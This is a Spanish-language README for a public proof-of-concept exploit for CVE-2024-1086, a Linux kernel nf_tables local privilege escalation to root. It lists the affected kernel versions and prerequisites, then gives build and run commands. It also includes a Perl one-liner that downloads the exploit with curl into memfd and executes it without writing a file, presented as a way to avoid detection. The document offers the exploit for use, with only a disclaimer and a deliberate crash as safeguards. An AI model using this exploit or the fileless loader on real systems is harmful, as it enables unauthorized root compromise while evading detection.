CVE-2024-1086

Exploit universal de prueba de concepto para escalada local de privilegios en CVE-2024-1086, que funciona en la mayoría de los kernels de Linux entre v5.14 y v6.6, incluyendo Debian, Ubuntu y KernelCTF. La tasa de éxito es del 99.4% en las imágenes de KernelCTF.

https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de

Entrada de blog / Write-up

Un análisis completo del exploit, incluida la información de contexto y un montón de diagramas útiles, se puede encontrar en la entrada del blog Flipping Pages.

Versiones afectadas

El exploit afecta a las versiones desde (incluida) v5.14 hasta (incluida) v6.6, excluyendo las ramas parcheadas v5.15.149>, v6.1.76>, v6.6.15>. El parche para estas versiones se publicó en febrero de 2024. La vulnerabilidad subyacente afecta a todas las versiones (excluidas las ramas estables parcheadas) desde v3.15 hasta v6.8-rc1.

Advertencias:

• El exploit no funciona en kernels v6.4> con el kconfig CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (incluido Ubuntu v6.5).
• El exploit requiere namespaces de usuario (kconfig CONFIG_USER_NS=y), que esos namespaces de usuario no tengan privilegios (comando sh sysctl kernel.unprivileged_userns_clone = 1) y que nf_tables esté habilitado (kconfig CONFIG_NF_TABLES=y). De forma predeterminada, todos ellos están habilitados en Debian, Ubuntu y KernelCTF. Otras distribuciones no se han probado, pero también podrían funcionar. Además, el exploit solo se ha probado en x64/amd64.
• El exploit puede ser muy inestable en sistemas con mucha actividad de red
  • Los sistemas con adaptador WiFi, cuando están rodeados de redes WiFi de alto uso, serán muy inestables.
  • En los dispositivos de prueba, desactive los adaptadores WiFi a través de la BIOS.
• El pánico del kernel (bloqueo del sistema) después de ejecutar el exploit es un efecto secundario que deliberadamente no se ha corregido para evitar el uso malicioso del exploit (es decir, los intentos de explotación ahora deberían ser más perceptibles e inviables en operaciones del mundo real). A pesar de ello, sigue permitiendo una prueba de concepto funcional en entornos de laboratorio, ya que la shell de root es funcional y es posible la persistencia a través del disco.

Uso

Configuración

Los valores predeterminados deberían funcionar sin configuración adicional en Debian, Ubuntu y KernelCTF con una shell local. En configuraciones/distribuciones no probadas, asegúrese de que los valores de kconfig coincidan con el kernel objetivo. Estos se pueden especificar en src/config.h. Si está ejecutando el exploit en una máquina con más de 32GiB de memoria física, asegúrese de aumentar CONFIG_PHYS_MEM. Si está ejecutando el exploit a través de SSH (hacia la máquina de prueba) o una reverse shell, puede que quiera cambiar CONFIG_REDIRECT_LOG a 1 para evitar actividad de red innecesaria.

Compilación

Si esto le resulta poco práctico, hay un binario x64 compilado con la configuración predeterminada.

git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make

Binario: CVE-2024-1086/exploit

Ejecución

Ejecutar el exploit es igual de sencillo:

./exploit

También se admite la ejecución sin archivos (fileless), en caso de situaciones de pentest donde sea necesario evitar detecciones. Sin embargo, Perl debe estar instalado en el objetivo:

perl -e '
  require qw/syscall.ph/;

  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  system "curl https://example.com/exploit -s >&$fd";
  exec {"/proc/$$/fd/$fd"} "memfd";
'

Aviso legal

Los programas y scripts ("programas") de este directorio/carpeta/repositorio de software ("repositorio") se publican, desarrollan y distribuyen únicamente con fines educativos/de investigación. Yo ("el creador") no apruebo ningún uso malicioso o ilegal de los programas de este repositorio, ya que la intención es compartir investigación y no realizar actividades ilegales con ella. No soy legalmente responsable de nada de lo que usted haga con los programas de este repositorio.